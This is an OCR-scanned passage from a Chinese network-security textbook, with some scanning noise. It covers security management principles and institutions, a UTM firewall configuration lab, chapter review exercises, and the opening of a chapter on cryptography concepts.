(1) 网 络 安全 的 策略 有 哪些 ? 如 何 制 定 和 实施 ? 

(2) 网 络 安全 规划 的 基本 原则 有 哪些 ? 
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35 网 络 安全 管理 原则 和 制度 


网 络 安全 管理 的 原则 和 制度 是 安全 管理 的 一 项 重要 内 容 。 目 前 , 仍 有 很 多 企 事 业 单 
位 没有 建立 健全 专门 的 管理 机 构 .管理 制度 和 规范 。 甚 至 有 些 管 理 员 或 用 户 还 是 使 用 系 
统 默认 状态 ,系统 处 于 “端口 开放 状态 ”, 使 系统 面临 安全 威胁 和 隐患 。 
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网 络 安全 管理 的 基本 原则 


为 了 加 强 网 络 系统 安全 ,网 络 安全 管理 应 坚持 以 下 基本 原则 : 
1. 多 人 负责 原则 
为 了 确保 网 络 系统 安全 ,职责 明确 ,对 各 种 与 系统 安全 有 关 事项 ,应 如 同 管理 重要 钱 


物 一 上 


EE, 由 多 人 分 管 负责 并 在 现场 当面 认定 签发 。 系 统 主管 领导 应 指定 忠诚 可 靠 、 能 力 


强 且 具 有 丰富 的 实际 工作 经 验 的 人 员 作 为 网 络 系统 安全 负责 人 ,同时 明确 安全 指标 、 岗 位 
职责 和 任务 ,安全 管理 员 应 及 时 签署 安全 工作 情况 记录 以 及 安全 工作 保障 落实 和 完成 情况 。 
需要 签发 的 与 安全 有 关 的 主要 事项 包括 : 


( 


1) 处 理 的 任何 与 保密 有 关 的 信息 。 


(2) 信息 处 理 系统 使 用 的 媒介 发 放 与 收回 。 
(3) 访问 控制 使 用 的 证 件 发 放 与 收回 。 

(4) 系统 软件 的 设计 、 实 现 、 修 改 和 维护 。 
(5) 业务 应 用 软件 和 硬件 的 修改 和 维护 。 
(6) 重要 程序 和 数据 的 增删 改 与 销毁 等 。 


2. 有 限 任期 原则 


网 络 安全 人 员 不 宣 长 期 担任 与 安全 相关 的 职务 ,以 兔 产生 永久 性 “保险 ”职位 观念 ， 
可 以 通过 强制 休假 .培训 或 轮换 岗位 等 方式 进行 适当 调整 。 

3. 职责 分 离 原则 

计算 机 网 络 系统 重要 相关 人 员 应 各 司 其 职 , 各 负 其 责 ,业务 权限 各 异 ,除了 系统 主管 


领导 批准 的 特殊 情况 之 外 ,不 应 询问 或 参与 职责 以 外 与 安全 有 关 的 事务 。 
以 下 任何 两 项 具体 工作 应 当 适 当 分 开 , 分 由 不 同人 员 完 成 : 


( 


1) 系统 程序 和 应 用 程序 的 研发 与 实现 。 


(2) 具体 业务 系统 的 检查 及 验收 。 

(3) 计算 机 及 其 网 络 数据 的 具体 业务 操作 。 
(4) 计算 机 网 络 管理 和 系统 维护 工作 。 

(5) 机 密 资料 的 接收 和 传送 。 

(6) 具体 的 安全 管理 和 系统 管理 。 

(7) 系统 访问 证 件 的 管理 与 其 他 工作 。 
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(8) 业务 操作 与 数据 处 理 系 统 使 用 的 存储 介质 的 保管 等 。 

网 络 系统 安全 管理 部 门 应 根据 管理 原则 和 系统 处 理 数据 的 保密 性 要 求 制 定 相 应 的 
管理 制度 ,并 采取 相应 的 安全 管理 规范 。 具 体 工作 如 下 : 

(1) 根据 业务 的 重要 程度 ,测评 系统 的 具体 安全 等 级 。 

(2) 根据 安全 等 级 确定 安全 管理 的 具体 范围 和 侧重 点 。 

(3) 规范 和 完善 网 络 /信息 中 心机 房 出 人 管理 制度 。 

对 于 安全 等 级 要 求 较 高 的 系统 ,应 实行 分 区 管理 与 控制 ,限制 工作 人 员 出 入 与 本 职 
业务 无 直接 关系 的 重要 安全 区 域 。 


4. 严格 操作 规程 


根据 规定 的 安全 操作 规程 要 求 , 严 格 坚 持 职 责 分 离 和 多 人 负责 的 原则 ,所 有 业务 人 
员 都 要 求 做 到 各 司 其 职 , 各 负 其 责 , 不 能 超越 各 自 的 管辖 权限 范围 ,特别 是 国家 安全 保密 
机 构 .银行 .证 券 等 单位 和 财务 机 要 部 门 等 。 


5. 系统 安全 监测 和 审计 制度 
建立 健全 系统 安全 监测 和 审计 制度 ,确保 系统 安全 ,并 能 够 及 时 发 现 , 及 时 处 理 。 
6. 建立 健全 系统 维护 制度 


系统 维护 人 员 在 进行 维护 之 前 必须 经 过 主管 部 门 批准 ,并 采取 数据 保护 措施 ,如 数 
据 备份 等 。 在 进行 系统 维护 时 ,必须 有 安全 管理 人 员 在 场 ,对 于 故障 的 原因 、 维 护 内 容 和 
维护 前 后 的 情况 应 详细 认真 记录 并 进行 签字 确认 。 


7. 完善 应 急 措 施 


制定 并 完善 业务 系统 在 出 现 意外 故障 的 紧急 情况 时 可 以 尽快 恢复 的 应 急 对 策 和 措 
施 ,并 将 损失 减 到 最 小 。 同 时 建立 健全 相关 人 员 聘 用 和 离职 、 调 离 安 全 保密 制度 ,对 工作 
调动 和 离职 人 员 要 及 时 调整 相应 的 授权 。 

也 有 将 网 络 安全 指导 原则 概括 为 4 个 方面 : 适度 公开 原则 、 动 态 更 新 与 逐步 完善 原 
则 ,通用 性 原则 、 合 规 性 原则 。 


352 ”网络 安全 管理 机 构 和 制度 


网 络 安全 管理 机 构 和 规章 制度 是 网 络 安全 的 组 织 与 制度 保障 。 网 络 安全 管理 的 制 
度 包 括 人 事 资 源 管 理 制度 ,资产 物业 管理 制度 .教育 培训 制度 ,资格 认证 制度 .人 事 考 核 
鉴定 制度 ,动态 运行 机 制 , 日 常 工作 规范 、 岗 位 责任 制度 等 。 建 立 健全 网 络 安全 管理 机 构 
和 各 项 规章 制度 ,需要 做 好 以 下 几 个 方面 。 


1. 完善 管理 机 构 和 岗位 责任 制 


计算 机 网 络 系统 的 安全 涉及 整个 系统 和 机 构 的 安全 效益 及 声誉 。 系 统 安 全 保密 工 
作 最 好 由 单位 主要 领导 负责 ,必要 时 设置 专门 机 构 , 如 安全 管理 中 心 (SOC) 等 ,协助 主要 
领导 管理 。 重 要 单位 、 要 害 部 门 的 安全 保密 工作 分 别 由 安全 保密 、 保 卫 和 技术 部 门 分 工 
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负责 。 所 有 领导 机 构 .重要 计算 机 系统 的 安全 组 织 机 构 ,包括 安全 审查 机 构 、 安 全 决策 机 
构 、 安 全 管理 机 构 ,都 要 建立 和 健全 各 项 规章 制度 。 

完善 专门 的 安全 防范 组 织 和 人 员 。 各 单位 须 建 立 相 应 的 计算 机 信息 系统 安全 委员 
会 .安全 小 组 .安全 员 。 安 全 组 织 成 员 应 由 主管 领导 、 公 安保 卫 、 信 息 中 心 、 人 事 、 审 计 等 
部 门 的 工作 人 员 组 成 ,必要 时 可 聘请 相关 部 门 的 专家 组 成 。 安 全 组 织 也 可 成 立 专门 的 独 
立 认证 机 构 。 对 安全 组 织 的 成 立成 员 的 变动 等 应 定期 向 公安 计算 机 安全 监察 部 门 报 
告 。 对 计算 机 信息 系统 中 发 生 的 案件 ,应 当 在 规定 时 间 内 向 当地 区 (县 ) 级 及 以 上 公安 机 
关 报 告 ,并 受 公安 机 关 对 计算 机 有 害 数据 防治 工作 的 监督 检查 和 指导 。 

制定 各 类 人 员 的 岗位 责任 制 , 严 格 纪 律 . 管 理 和 分 工 的 原则 ,不 准 串 岗 、 兼 岗 , 严 禁 程 
序 设计 师 同时 兼任 系统 操作 员 ,严格 禁止 系统 管理 员 终端 操作 员 和 系统 设计 人 员 混 岗 。 

专职 安全 管理 人 员 具 体 职 责 是 : 负责 本 系统 区 域内 安全 策略 的 实施 ,保证 安全 策略 
的 长 期 有 效 : 负责 软 硬 件 的 安装 维护 .日 常 操作 监视 ,应 急 条 件 下 安全 措施 的 恢复 和 风险 
分 析 等 ;负责 整个 系统 的 安全 ,对 整个 系统 的 授权 修改 特权 口令、 违章 报告 .报警 记录 
处 理 、 控 制 台 日 志 审阅 负责 , 遇 到 重大 问题 不 能 解决 时 要 及 时 向 主管 领导 报告 。 

安全 审计 人 员 监 视 系统 运行 情况 ,收集 对 系统 资源 的 各 种 非法 访问 事件 ,并 对 非法 
事件 进行 记录 、 分 析 和 处 理 。 必 要 时 将 审计 事件 及 时 上 报 主 管 部 门 。 

机 构 的 保安 人 员 负 责 非 技术 性 常规 安全 工作 ,如 系统 场所 的 警卫 ,办 公安 全 .出 人 门 


2. 健全 安全 管理 规章 制度 


建立 健全 完善 的 安全 管理 规章 制度 并 认真 贯彻 落实 非常 重要 。 常 用 的 网 络 安全 管 
理 规章 制度 包括 以 下 7 个 方面 : 

(1) 系统 运行 维护 管理 制度 。 包 括 设备 管理 维护 制度 、 软 件 维护 制度 、 用 户 管理 制 
度 . 密 钥 管理 制度 .出 和 门卫 管 理 值班 制度 .各 种 操作 规程 及 守则 、 各 种 行政 领导 部 门 的 
定期 检查 或 监督 制度 。 机 要 重地 的 机 房 应 规定 双人 进出 及 不 准 单 人 在 机 房 操作 计算 机 
的 制度 。 机 房 门 加 双 锁 ,保证 两 把 钥匙 同时 使 用 才能 打开 机 房 。 信 息 处 理 机 要 专机 专 
用 ,不 允许 兼作 其 他 用 途 。 终 端 操作 员 因 故 离开 终端 必须 退出 登录 画面 ,避免 其 他 人 员 
非法 使 用 。 

(2) 计算 机 处 理 控制 管理 制度 。 包 括 编制 及 控制 数据 处 理 流程 .程序 软件 和 数据 的 
管理 ,复制 移植 和 存储 介质 的 管理 ,文件 档案 日 志 的 标准 化 和 通信 和 网络 系统 的 管理 。 

(3) 文档 资料 管理 。 各 种 凭证 单据、 账簿 、 报 表 和 文字 资料 必须 妥善 保管 和 严格 控 
制 ; 交 叉 复 核 记 账 ;各 类 人 员 所 掌握 的 资料 要 与 其 职责 一 致 ,如 终端 操作 员 只 能 阅读 终端 
操作 规程 .手册 ,只 有 系统 管理 员 才 能 使 用 系统 手册 。 

(4) 操作 及 管理 人 员 的 管理 制度 。 建 立 健全 各 种 相关 人 员 的 管理 制度 ,主要 包括 : 

Q 指定 具体 使 用 和 操作 的 计算 机 或 服务 器 ,明确 工作 职责 .权限 和 范围 。 

@ 程序 员 、 系 统管 理 员 、 操 作 员 岗 位 分 离 且 不 混 岗 。 

@ 禁止 在 系统 运行 的 机 器 上 做 与 工作 无 关 的 操作 。 

@ 不 越权 运行 程序 ,不 应 查阅 无 关 参数 。 

@ 对 于 偶尔 出 现 的 操作 异常 应 立即 报告 。 
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@ 建立 和 完善 工程 技术 人 员 的 管理 制度 。 

@ 当 相关 人 员 调 离 时 ,应 采取 相应 的 安全 管理 措施 ,如 人 员 调 离 时 马上 收回 钥匙 , 移 
交工 作 , 更 换 口令 ,取消 账号 ,并 向 被 调 离 的 工作 人 员 申 明 其 保密 义务 。 

(5) 机 房 安 全 管理 规章 制度 。 建 立 健全 的 机 房管 理 规章 制度 ,经 常 对 有 关 人 员 进 行 
安全 教育 与 培训 ,定期 或 随机 地 进行 安全 检查 。 机 房管 理 规章 制度 主要 包括 机 房 门卫 管 
理 、 机 房 安全 工作 、 机 房 卫生 工作 、 机 房 操作 管理 等 。 

(6) 其 他 的 重要 管理 制度 。 主 要 包括 系统 软件 与 应 用 软件 管理 制度 .数据 管理 制度 、 
密码 口令 管理 制度 .网 络 通信 安全 管理 制度 .病毒 的 防治 管理 制度 .安全 等 级 保护 制度 、 
网 络 电子 公告 系统 的 用 户 登记 和 信息 管理 制度 、 对 外 交流 维护 管理 制度 等 。 

(7) 进行 风险 分 析 及 安全 培训 。 

Q 定期 进行 风险 分 析 , 制 定 意外 灾难 应 急 恢复 计划 和 方案 。 如 关键 技术 人 员 的 多 种 
联络 方法 、 备 份 数据 的 取得 ,系统 重建 的 组 织 。 

@ 建立 安全 考核 培训 制度 。 除 了 对 关键 岗位 的 相关 人 员 和 新 员工 进行 考核 之 外 ， 
还 要 定期 进行 网 络 安全 方面 的 法 律 教育 .职业 道德 教育 和 安全 技术 更 新 等 方面 的 教育 
培训 。 

对 于 从 事 涉 及 国家 安全 军事 机 密 、 财 政 金融 或 人 事 档案 等 重要 信息 的 工作 人 员 更 
要 重视 安全 教育 ,并 应 挑选 可 靠 、 素 质 好 的 人 员 担 任 。 


3. 坚持 合作 交流 制度 


计算 机 网 络 在 快速 发 展 中 面临 严峻 的 安全 问题 。 维 护 互联 网 安全 是 全 球 的 共识 和 
责任 ,网 络 运营 商 更 负 有 重要 责任 ,应 对 此 高 度 关注 ,发挥 互联 网 积极 .正面 的 作用 ,包括 
对 青少年 在 内 的 广大 用 户 负 责 。 各 级 政府 也 有 责任 为 企业 和 消费 者 创造 一 个 共享 、 安 全 
的 网 络 环境 ,同时 也 需要 行业 组 织 、 企 业 和 各 利益 相关 方 的 共同 努力 。 因 此 ,应 当 大 力 加 
强 与 相关 业务 往来 单位 和 安全 机 构 的 合作 与 交流 ,密切 配合 ,共同 维护 网 络 安全 ,及 时 获 
得 必要 的 安全 管理 信息 和 专业 技术 支持 与 更 新 。 国 内 外 也 应 当 进一步 加 强 交 流 与 合作 ， 
拓宽 网 络 安全 国际 合作 渠道 ,建立 政府 、 网 络 安全 机 构 、 行 业 组 织 及 企业 之 间 多 层次 、 多 
渠道 . 齐 抓 共管 的 合作 机 制 。 

后 讨论 思考 

(1) 网 络 安全 管理 必须 坚持 哪些 原则 ? 

(2) 网 络 安全 指导 原则 主要 包括 哪 4 个 方面 ? 

(3) 建立 健全 网 络 安全 管理 机 构 和 规章 制度 需要 做 好 哪些 方面 ? 


36 实验 三 : 统一 威胁 管理 UIMM 应 用 


361 实验 目的 


统一 威胁 管理 (Unified Threat Management, UTM) 平 台 实 际 上 类 似 于 多 功能 安全 
网 关 , 与 路 由 器 和 三 层 交 换 机 不 同 的 是 ,UTM 不 仅 可 以 连接 不 同 的 网 段 , 在 数据 通信 过 
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程 中 还 提供 了 丰富 的 网 络 安 全 管理 功能 。 掌 握 UTM 功能 .设置 与 管理 方法 和 过 程 , 增 
强 利 用 UTM 进行 网 络 安全 管理 ,分 析 问 题 和 解决 问题 的 实际 能 力 ,有 助 于 以 后 更 好 地 
从 事 网 络 安全 管理 员 或 信息 安全 员工 作 。 


在 开始 对 UTM 平台 的 功能 .设置 与 管理 方法 和 过 程 的 实验 之 前 ,应 当先 做 好 实验 
的 准备 工作 ,实验 时 注意 掌握 具体 的 操作 界面 .实验 内 容 、. 实 验方 法 和 实验 步骤 ,重点 是 
UTM 功能 .设置 与 管理 方法 和 实验 过 程 中 的 具体 操作 要 领 顺序 和 细节 。 


363 ”实验 内 容 及 步骤 


1. UTM 集成 的 主要 功能 


不 同 的 UTM 平台 对 “多 功能 ”的 定义 有 所 不 同 。H3C 的 UTM 产品 在 功能 上 最 全 
面 ,特别 是 具备 应 用 层 识 别 用 户 的 网 络 应 用 ,控制 网 络 中 各 种 应 用 的 流量 ,并 记录 用 户 上 
网 行为 的 上 网 行为 审计 功能 ,相当 于 更 高 集成 度 的 多 功能 安全 网 关 。 不 同 的 UTM 平台 
的 比较 如 表 3-4 所 示 。 


表 3-4 不 同 的 UTM 平台 比较 


Pn. sau H3C Cisco Juniper Fortinet 
防火 墙 功能 V (H3C) V (Cisco) V (Juniper) V (Fortinet) 
VPN 功能 V (H3C) V (Cisco) ~ (Juniper) Ü (Fortinet) 

防 病毒 功能 V (卡巴 斯 基 ) V (趋势 科技 ) V (卡巴 斯 基 ) V (Fortinet) 

防 垃 圾 邮件 功能 VY (Commtouch) | V (趋势 科技 ) | \V( 赛 门 铁 克 ) | J (Fortinet) 
网 站 过 滤 功能 ee VCWebSense) | ebSenses | O 〇 (无 升级 服务 ) 
防 入 侵 功 能 V (H3C) V (Cisco) ~ (Juniper) O 〇 (未 知 ) 

应 用 层 流 量 识别 和 控制 | V (H3C) x x 

用 户 上 网 行为 审计 V (H3C) ><: x x 


UTM 集成 的 网 络 安全 产品 的 主要 功能 包括 访问 控制 功能 .防火 墙 功 能 `VPN 功 


能 、 入 侵 防 御 系 统 功能 、 病 毒 过滤 、 网 站 及 URL 过 滤 .流量 管理 控制 网络 行 为 审计 等 
功能 。 


2. 操作 步骤 及 方法 


经 过 登录 并 简单 配置 , 即 可 直接 管理 UTM 平台 。 
(1) 通过 命令 行 设置 管理 员 账 号 登录 设备 的 方法 如 下 : console 登录 X X 设 备 ,命令 
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行 设置 管理 员 账号 一 设置 接口 IP 一 启动 Web 管理 功能 一 设置 Web 管理 路 径 一 使 用 
Web 登录 访问 。 

(2) 通过 命令 行 接口 IP 登录 设备 的 方法 如 下 : console 登录 XX 设备 ,命令 行 设置 接 
H IP—>J JJ Web 管理 功能 一 设置 Web 管理 路 径 一 使 用 Web 登录 访问 ,如 图 3-8 所 示 。 


3 
上 


sam. — mw 
. 


38 利用 默认 用 户 名 和 密码 登录 


(3) 利用 默认 用 户 名 密码 登录 设备 的 方法 如 下 : H3C 设置 管理 PC 的 IP 为 192. 
168. 0.X 一 用 默认 用 户 名 密码 直接 登录 ,如 图 3-8 所 示 。 

常用 配置 防火 墙 的 方法 如 下 : 

(1) 只 要 设置 管理 PC 的 网 卡 地 址 ,连接 g0/0 端口 ,就 可 从 此 进入 Web 管理 界面 。 

(2) 配置 外 网 端口 地 址 ,将 外 网 端口 加 入 安全 域 ,如 图 3-9 所 示 。 


BYob wor lorin ternot Bxplotor 
EE 
me- 日 [3 3 @ De Jeena @ Ə- 32 m LJ 5 


EI 1 国 加 Wl s” 


图 3-9 配置 外 网 端口 地 址 并 加 入 安全 域 
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(3) 配置 内 网 到 外 网 的 静态 路 由 ,如 图 3-10 所 示 。 


sani em 6266000 
wme=amipam2w PMA. 过 一切 和 


3-10 配置 内 网 到 外 网 的 静态 路 由 
防火 墙 设置 完成 后 ,就 可 以 直接 上 网 。 


CE 


随后 进行 流量 定义 和 策略 设 定 。 激 活 高 级 功能 ,然后 选择 "设置 自动 升级 ”按照 以 


下 步骤 完成 : 定义 全 部 流量 , 设 定 全 部 策略 ,应 用 全 部 策略 ,如 图 3-11 所 示 。 可 以 设置 防 


范 病 毒 等 5 大 功能 ,还 可 管控 网 络 的 各 种 流量 ,用户 应 用 流量 及 统计 情况 ,如 图 3-12 
所 示 。 


E Errrm 


[RE 


图 3-11 流量 定义 和 策略 设 定 
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图 3-12 管控 及 统计 网 络 流量 


37 本 章 小 结 


网 络 安 全 管理 保障 与 安全 技术 的 紧密 结合 至 关 重 要 。 本 章 简要 地 介绍 了 网 络 安 全 
管理 与 保障 体系 和 网 络 安全 管理 的 基本 过 程 。 网 络 安全 保障 包括 信息 安全 策略 、 信 息 安 
全 管理 ,信息 安全 运作 和 信息 安全 技术 ,其 中 ,管理 是 企业 管理 行为 ,主要 包括 安全 意识 、 
组 织 结构 和 审计 监督 ;运作 是 日 常 管理 的 行为 (包括 运作 流程 和 对 象 管理 ) ;技术 是 信息 
系统 的 行为 (包括 安全 服务 和 安全 基础 设施 )。 网 络 安全 是 在 企业 管理 机 制 下 ,通过 运作 
机 制 借助 技术 手段 实现 的 。“ 七 分 管理 ,三 分 技术 ,运作 贯穿 始终 ”, 管 理 是 关键 ,技术 是 
保障 ,其 中 的 网 络 安全 技术 包括 网 络 安全 管理 技术 。 

本 章 还 概述 了 国外 在 网 络 安全 方面 的 法 律 法 规 和 我 国 网 络 安全 方面 的 法 律 法 规 , 介 
绍 了 国内 外 网 络 安 全 评估 准则 和 测评 有 关内 容 , 包 括 国外 网 络 安全 评估 准则 、 国 内 安全 
评估 通用 准则 、 网 络 安全 评估 的 目标 内 容 和 方法 等 。 同 时 ,概述 了 网 络 安全 策略 和 规划 ， 
包括 网 络 安 全 策略 的 制定 与 实施 、 网 络 安全 规划 基本 原则 ,还 介绍 了 网 络 安全 管理 的 基 
本 原则 ,以 及 健全 安全 管理 机 构 和 制度 。 最 后 ,联系 实际 应 用 ,概述 了 Web 服务 器 的 安 
全 设置 与 管理 实验 的 实验 目的 、 要 求 、 内 容 和 步骤 。 


38 练习 与 实践 三 


1. 选择 题 
(1) 网 络 安全 保障 包括 信息 安全 策略 和 ( )'s 
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A. 信息 安全 管理 B. 信息 安全 技术 
C. 信息 安全 运作 D. 上 述 三 点 
(2) 网 络 安全 保障 体系 框架 的 外 围 是 ( Jia 
A. 风险 管理 B. 法 律 法 规 C. 标准 的 符合 性 D. 上 述 三 点 


(3) 名 字 服 务 .事务 服务 .时 间 服 务 和 安全 性 服务 是 ( ) 提 供 的 服务 。 
A. 远程 IT 管理 整合 式 应 用 管理 技术 B.APM 网 络 安全 管理 技术 
C. CORBA 网 络 安全 管理 技术 D. 基于 Web 的 网 络 管理 模式 
(4) 一 种 全 局 的 ,全 员 参 与 的 ,事先 预防 、 事 中 控制 .事后 纠正 ,动态 的 运作 管理 模式 
是 基于 风险 管理 理念 和 ( Ws 
A. 持续 改进 模式 的 信息 安全 运作 模式 — B. 网 络 安全 管理 模式 
C. 一 般 信息 安全 运作 模式 D. 以 上 都 不 对 
(5) 我 国 网 络 安全 立法 体系 框架 分 为 ( Ne 
A. 构建 法 律 .地 方 性 法 规 和 行政 规范 
B. 法 律 .行政 法 规 和 地 方 性 法 规 ,规章 、 规 范 性 文档 
C. 法 律 , 行 政法 规 和 地 方 性 法 规 
D. 以 上 都 不 对 
(6) 网 络 安全 管理 规范 是 为 保障 实现 信息 安全 政策 的 各 项 目标 制定 的 一 系列 管理 规 
定 和 规程 ,具有 ( hs 


A. 一 般 要 求 B. 法 律 要 求 C. 强制 效力 D. 文件 要 求 
2. 填空 题 
(1) 信息 安全 保障 体系 架构 包括 5 个 部 分 : 
和 
(2) TCP/IP 网 络 安全 管理 体系 结构 包括 3 个 方面 : ç š ° 
(3) 是 信息 安全 保障 体系 的 一 个 重要 组 成 部 分 ,按照 的 思想 ,为 实 
现 信息 安全 战略 而 搭建 。 一 般 来 说 防护 体系 包括 “ 和 3 层 防 
护 结构 。 
(4) 信息 安全 标准 是 确保 信息 安全 的 产品 和 系统 在 设计 研发. 生产、 建设 .使 用 、 测 
评 过 程 中 解决 产品 和 系统 的 & Ç š 和 符合 性 的 技术 
规范 .技术 依据 。 
(5) 网 络 安全 策略 包括 3 个 重要 组 成 部 分 : 和 
(6) 网 络 安全 保障 包括 和 4 不 方面 。 
(7y TCSEC 是 可 信 计 算 系统 评价 准则 的 缩写 ， 又 称 网 络 安全 橙 皮 书 ,将 安全 分 为 
和 文档 4 个 方面 。 


(8) 通过 对 计算 机 网 络 系统 进行 全 面 .充分 .有 效 的 安全 测评 ,能 够 快速 查 出 


(9) 实体 安全 的 内 容 主要 包括 和 3 个 方面 ,主要 指 5 项 
防护 (简称 五 防 ) : 防盗 .防火 、 防 静电 、 防 雷击 、 防 电磁 泄漏 。 
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(10) 基于 软件 的 软件 保护 方式 一 般 分 为 注册 码 、 许 可 证 文件 .许可 证 服务 器 、 
和 等 。 


3. 简 答 题 


(1) 信息 安全 保障 体系 框架 具体 包括 哪 5 个 部 分 ? 

(2) 如 何 理解 “七 分 管理 ,三 分 技术 ,运作 贯穿 始终 ”? 

(3) 国外 的 网 络 安 全 法 律 法 规 和 我 国 的 网 络 安全 法 律 法 规 有 何 差异 ? 
(4) 网 络 安全 评估 准则 和 方法 的 内 容 是 什么 ? 

(5) 网 络 安全 管理 规范 及 策略 有 哪些 ? 

(6) 简 述 安全 管理 的 原则 及 制度 要 求 。 

(7) 网 络 安全 政策 是 什么 ? 包括 的 具体 内 容 有 哪些 ? 

(8) 单位 如 何 进行 具体 的 实体 安全 管理 ? 

(9) 软件 安全 管理 的 防护 方法 是 什么 ? 


4. 实践 题 


(1) 调研 一 个 网 络 中 心 ,了 解 并 写 出 实体 安全 的 具体 要 求 。 

(2) 查看 一 台 计 算 机 的 网 络 安全 管理 设置 情况 ,如果 不 合适 ,对 其 进行 调整 。 

(3) 利用 一 种 网 络 安全 管理 工具 对 网 络 安全 性 进行 实际 检测 并 分 析 。 

(4) 调研 一 个 企 事业 单位 ,了 解 计 算 机 网 络 安全 管理 的 基本 原则 与 工作 规范 情况 。 
(5) 结合 实际 论述 如 何 贯 彻 落实 机 房 的 各 项 安全 管理 规章 制度 。 


密码 及 加 密 技术 


在 保障 计算 机 及 网 络 系统 信息 安全 的 诸多 技术 中 ,密码 技术 是 保障 信息 安全 的 核心 
和 关键 技术 。 随 着 网 络 的 快速 发 展 , 全 球 已 经 进入 互联 互通 时 代 , 人 们 享受 着 网 络 带 来 
的 高 效 和 便捷 ,但 很 多 病毒 .黑客 和 高 科技 犯罪 也 随 之 产生 ,因此 网 络 信息 安全 问题 成 为 
现 阶段 网 络 技术 研究 的 重要 课题 。 加 密 管 理 是 网 络 信息 安全 的 有 效 策略 之 一 。 通 过 加 
密 技 术 及 管理 ,可 以 在 一 定 程度 上 提高 数据 传输 的 安全 性 。 


上 教学 目标 

。 掌握 加 密 技 术 、 密 码 学 相关 概念 。 
` 掌握 数据 及 网 络 加 密 方式 。 

° 了 解密 码 破 译 方法 与 密 钥 管理 。 
。 掌握 实用 加 密 技术 。 


41 密码 技术 概述 


【案例 4-1】 美 日 密码 战 。 中 途 岛 惨败 之 后 ,为 了 鼓舞 士气 ,山本 五 十 六 决定 于 1943 
年 4 月 18 日 亲自 到 卡 西 里 湾 前 线 机 场 接见 飞行 员 , 并 将 这 一 决定 以 密 电 发 出 。 美 国情 报 部 
门 截获 并 破译 了 这 一 密 电 , 美 军 决定 不 惜 一 切 代 价 击 落 山本 五 十 六 的 座机 。4 月 18 日 9 时 
45 分 ,山本 五 十 六 和 他 的 部 下 飞 向 卡 西 里 湾 。 早 已 等 候 多 时 的 16 架 美 国 P 一 38 型 远程 战 
斗 机 立即 升 空 截击 ,将 其 击落 。 


411 密码 技术 相关 概念 


密码 技术 是 结合 数学 .计算 机 科学 .电子 与 通信 等 诸多 学 科 于 一 身 的 交叉 学 科 , 是 保 
护 信息 安全 的 主要 手段 之 一 。 用 户 在 计算 机 网 络 的 信道 上 相互 通信 ,其 主要 危险 是 被 非 
法 窍 听 。 密 码 技术 不 仅 可 以 保证 信息 的 机 密 性 ,而 且 可 以 保证 信息 的 完整 性 ,还 能 够 实 
现 通信 用 户 间 的 认证 和 不 可 否认 性 。 

密码 学 是 一 门 科学 ,有 着 悠久 的 历史 , 早 在 古代 就 被 用 于 传递 秘密 消息 。 在 近代 和 
现代 战争 中 ,传递 情报 和 指挥 战争 均 离 不 开 密 码 技术 。 原 理 很 简单 ,密码 技术 其 实 是 将 
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能 看 得 懂 的 明文 通过 加 密 变 成 乱码 的 过 程 ,如 图 4-1 所 示 。 
发 送 者 用 密 钥 加 密 K( 太 ) 接收 者 用 密 钥 解 密 K(D) 


伪造 、 算 改 、 窍 取 … 
P as P 


明文 P 


解密 算法 D 
4-1 密码 技术 原理 


(1) 明文 : 信息 的 原始 形式 称 为 明文 (Plaintext, 记 为 P)。 

(2) 密 文 : 明文 经 过 变换 加 密 后 的 形式 称 为 密 文 (Ciphertext, 记 为 C), 

(3) 加 密 : 由 明文 变 成 密 文 的 过 程 称 为 加 密 (Enciphering, 记 为 E) ,加 密 通 常 由 加 密 
算法 来 实现 的 。 

(4) 解密 : 由 密 文 还 原 成 明文 的 过 程 称 为 解密 (Deciphering, 记 为 D) ,解密 通常 是 由 
解密 算法 来 实现 的 。 

(5) 加 密 算法 : 实现 加 密 所 遵循 的 规则 。 

(6) 解密 算法 : 实现 解密 所 遵循 的 规则 。 

(7) 密 钥 : 为 了 有 效 地 控制 加 密 和 解密 算法 的 实现 ,在 其 处 理 过 程 中 要 有 通信 双方 
掌握 的 专门 信息 参与 加 密 和 解密 操作 ,这 种 专门 信息 称 为 密 钥 (key, 记 为 K)。 

(8) 信息 传输 过 程 中 ,信息 经 常 被 中 断 、 截 获 、 算 改 和 伪造 ,如 图 4-2 所 示 。 


(a) 中 (b) 截获 (c) E (d) 伪造 
图 4-2 分 析 者 的 攻击 方式 


【案例 4-2] 密码 技术 出 口 管制 。 一 个 特别 重要 的 议题 是 密码 软件 与 硬件 的 出 口 管 
制 。 由 于 密码 分 析 在 二 战 时 期 扮演 了 重要 角色 ,也 由 于 期 待 密码 学 可 以 持续 在 国家 安全 
上 效力 ,许多 西方 国家 政府 严格 管制 密码 学 的 出 口 。 二 战 之 后 ,在 美国 散布 加 密 科 技 到 
国外 曾 是 违法 的 。 事 实 上 ,加 密 技术 曾 被 视 为 军需 品 , 就 像 坦克 与 核武 器 一 样 。 直 到 个 
人 电脑 和 因特网 问世 后 情况 才 改变 。 

知识 拓展 ” 随 着 计算 机 和 信息 技术 的 发 展 ,密码 技术 的 发 展 也 非常 迅速 ,不 但 用 
于 信息 加 密 , 还 用 于 数字 签名 和 安全 认证 。 密 码 的 应 用 领域 不 再 局 限于 为 军事 、 外 交 服 
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务 , 也 广泛 应 用 在 经 济 活动 中 ,如 电子 商务 、 银 行 的 支票 鉴别 等 。 
412 密码 学 与 密码 体制 


1. 密码 学 概述 


1) 密码 学 概念 

密码 学 是 研究 编制 密码 和 破译 密码 技术 的 科学 。 研 究 密码 变化 的 客观 规律 ,应 用 于 
编制 密码 以 保守 通信 秘密 的 称 为 密码 编码 学 ,从 事 此 行 的 称 为 密码 编码 者 ;应 用 于 破译 
密码 以 获取 通信 情报 的 称 为 密码 破译 学 ,从 事 此 行 的 称 为 密码 破译 者 。 精 于 此 道 的 人 被 
称 为 密码 学 家 ,现代 的 密码 学 家 通常 是 理论 数学 家 。 密 码 学 是 在 编码 与 破译 的 斗争 实践 
中 逐步 发 展 起 来 的 ,并 随 着 先进 科学 技术 的 应 用 ,已 成 为 一 门 综合 性 的 尖端 技术 科学 。 
它 与 语言 学 .数学 .电子 学 ,声学 .信息论 .计算 机 科学 等 有 着 广泛 而 密切 的 联系 。 

2) 密码 学 发 展 历程 

最 早 的 密码 形式 可 以 追溯 到 四 千 多 年 前 ,在 古 埃及 的 尼罗河 畔 ,一 位 书写 者 在 贵族 
的 墓碑 上 书写 铭文 时 有 意 用 变形 的 象形 文字 ,而 不 用 普通 的 象形 文字 ,从 而 揭 开 了 有 文 
